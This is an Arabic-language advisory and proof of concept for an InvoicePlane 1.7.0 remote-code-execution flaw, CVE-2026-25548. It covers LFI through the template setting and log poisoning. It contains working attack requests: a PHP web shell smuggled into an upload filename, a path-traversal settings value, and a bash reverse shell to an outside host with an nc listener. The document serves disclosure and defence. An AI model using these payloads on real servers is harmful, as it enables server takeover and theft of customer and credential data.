
# تفاصيل تقنية وإثبات مفهوم لـ CVE-2026-25548، ثغرة تنفيذ أوامر عن بُعد حرجة في InvoicePlane 1.7.0 عبر تضمين الملفات المحلية وتسميم السجلات، بما في ذلك سلسلة الهجوم وطلبات إثبات المفهوم وتحليل الأثر.
الثغرة: تنفيذ الأوامر عن بُعد عبر تضمين الملفات المحلية + تسميم السجلات
المنتج: InvoicePlane
الإصدار المتأثر: 1.7.0 (ومن المحتمل الإصدارات السابقة)
الخطورة: حرجة
درجة CVSS 3.1: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
CWE: CWE-98, CWE-117, CWE-94
اكتشفها: Leonidas Agathos
تاريخ التقرير: 2026-01-31
سلسلة ثغرات حرجة في InvoicePlane 1.7.0 تسمح لمسؤول مصادق بتحقيق تنفيذ الأوامر عن بُعد (RCE) على الخادم الأساسي. يجمع الهجوم بين ضعفين:
.php، مما يسمح بحقن كود PHP عشوائي.عند دمجها، يمكن لمهاجم بصلاحيات مسؤول تحقيق اختراق كامل للخادم كمستخدم خادم الويب. مشغل RCE النهائي غير مصادق (رابط الفاتورة العامة).
| السمة | القيمة |
|---|---|
| الملف | application/modules/guest/controllers/View.php |
| الأسطر | 85, 191 |
| المعامل | public_invoice_template (إعداد قاعدة البيانات) |
| CWE | CWE-98: تحكم غير صحيح في اسم الملف لعبارة Include/Require |
الكود المعرض للثغرة (View.php:85):
$this->load->view('invoice_templates/public/' .
get_setting('public_invoice_template') . '.php', $data);
الكود المعرض للثغرة (View.php:191):
$this->load->view('quote_templates/public/' .
get_setting('public_quote_template') . '.php', $data);
يتم استرداد إعدادات public_invoice_template و public_quote_template من قاعدة البيانات وربطها مباشرة في مسار ملف يُمرر إلى load->view() الخاص بـ CodeIgniter (والذي يتحول إلى include() في PHP). لا يوجد أي تحقق من:
../)يمكن للمسؤول تعيين هذه القيمة إلى أي مسار على نظام الملفات، مقيدًا فقط بامتداد .php الذي يُضاف تلقائيًا.
| السمة | القيمة |
|---|---|
| الملف | application/modules/upload/controllers/Upload.php |
| الأسطر | 178–184 |
| المعامل | اسم الملف المرفوع (بيانات نموذج HTTP متعدد الأجزاء) |
| CWE | CWE-117: تحييد مخرجات غير صحيح للسجلات |
الكود المعرض للثغرة (Upload.php:178-184):
private function sanitize_file_name(string $filename): string
{
if (str_contains($filename, '..')
|| str_contains($filename, '/')
|| str_contains($filename, '\\')
|| str_contains($filename, "\0")) {
log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
return '';
}
// ...
}
عندما يؤدي اسم الملف إلى تشغيل فحص اجتياز المسار، يتم كتابة اسم الملف الخام غير المعقم مباشرة في ملف السجل. ملفات سجلات CodeIgniter:
.php: application/logs/log-YYYY-MM-DD.php<?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>المهاجم الذي يضمّن <?php system($_GET[1]); ?> في اسم الملف يتسبب في كتابة هذا الحمولة في السجل وتنفيذه لاحقًا عبر LFI.
[مستخدم مصادق] → رفع اسم ملف خبيث → حقن PHP في ملف السجل
[مسؤول] → تعيين إعداد القالب → LFI يشير إلى ملف السجل
[أي شخص] → زيارة رابط الفاتورة العامة → RCE
| الخطوة | المتطلب |
|---|---|
| تسميم السجلات | مستخدم مصادق بصلاحية رفع الملفات |
| تكوين LFI | حساب مسؤول |
| مشغل RCE | غير مصادق (رابط الفاتورة العامة) |
أرسل طلب رفع ملف مع قشرة ويب PHP مضمّنة في اسم الملف. سيعمل فحص اجتياز المسار ويكتب اسم الملف الخام (بما في ذلك حمولة PHP) إلى ملف السجل.
الطلب (عبر Burp Suite):
POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=...
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="_ip_csrf"
<csrf_token>
------Boundary
Content-Disposition: form-data; name="file"; filename="..<?php system($_GET[1]); ?>.jpg"
Content-Type: image/jpeg
test
------Boundary--
يرفض الخادم الرفع (upload_error_invalid_extension) ولكن إدخال السجل يُكتب بالفعل:
النتيجة في application/logs/log-2026-01-31.php:
ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ..<?php system($_GET[1]); ?>.jpg
انتقل إلى قسم المرفقات في فاتورة وانقر على إضافة ملفات للوصول إلى نقطة نهاية الرفع.



كمسؤول، قم بتعيين إعداد public_invoice_template للإشارة إلى ملف سجل اليوم باستخدام حمولة اجتياز المسار. مُحمّل العرض في CodeIgniter يضيف .php تلقائيًا.
الطلب (عبر Burp Suite):
POST /index.php/settings HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=<admin_session>
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="settings[public_invoice_template]"
../../../logs/log-2026-01-31
------Boundary--
يتم حل مسار الاجتياز من application/views/invoice_templates/public/ إلى application/logs/، ثم يتضمن log-2026-01-31.php.

قم بالوصول إلى أي رابط فاتورة عامة مع تمرير أمر كمعامل GET 1. لا يتطلب ذلك أي مصادقة.
الطلب:
GET /index.php/guest/view/invoice/<invoice_url_key>?1=id HTTP/1.1
Host: 172.25.0.12
الاستجابة (في مصدر الصفحة):
Path traversal attempt detected in filename: ..uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
.jpg
حمولة system($_GET[1]) تنفذ أمر id وينعكس مخرجه مباشرة في الصفحة.

استبدل الأمر بحمولة صدفة عكسية bash للحصول على صدفة تفاعلية:
GET /index.php/guest/view/invoice/<invoice_url_key>?1=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.25.131/4444+0>%261' HTTP/1.1
على جهاز المهاجم:
nc -lnvp 4444
النتيجة:
connect to [192.168.25.131] from (UNKNOWN) [172.25.0.11] 43360
www-data@0dd592f7a424:~/projects/invoiceplane$
صدفة تفاعلية كاملة كمستخدم www-data.

| البُعد | التقييم | التفاصيل |
|---|---|---|
| السرية | عالٍ | وصول قراءة كامل لجميع الملفات المتاحة لمستخدم خادم الويب، بما في ذلك بيانات اعتماد قاعدة البيانات وبيانات فواتير العملاء |
| السلامة | عالٍ | كتابة ملفات عشوائية، تعديل قاعدة البيانات، تثبيت قشرة ويب |
| التوفر | عالٍ | رفض الخدمة، نشر برامج الفدية، تدمير النظام |
| الملف | الثغرة |
|---|---|
application/modules/guest/controllers/View.php:85 | LFI — قالب الفاتورة |
application/modules/guest/controllers/View.php:191 | LFI — قالب عرض السعر |
application/modules/upload/controllers/Upload.php:182 | تسميم السجلات |
application/modules/settings/controllers/Settings.php | لا يوجد تحقق على إعداد القالب |
| التاريخ | الحدث |
|---|---|
| 2026-01-30 | اكتشاف الثغرة |
| 2026-01-31 | تطوير إثبات المفهوم |
| 2026-01-31 | إخطار البائع |
| 2026-02-03 | إقرار البائع |
| 2026-02-03 | إصدار التصحيح |
| 2026-02-04 | الكشف العام |
تم اكتشاف هذه الثغرة أثناء بحث أمني مستقل. جميع المعلومات مقدمة strictly للأغراض التعليمية والبحثية والدفاعية لمساعدة البائع ومجتمع الأمن في فهم المشكلة ومعالجتها. أي استخدام خبيث لهذه المعلومات محظور تمامًا.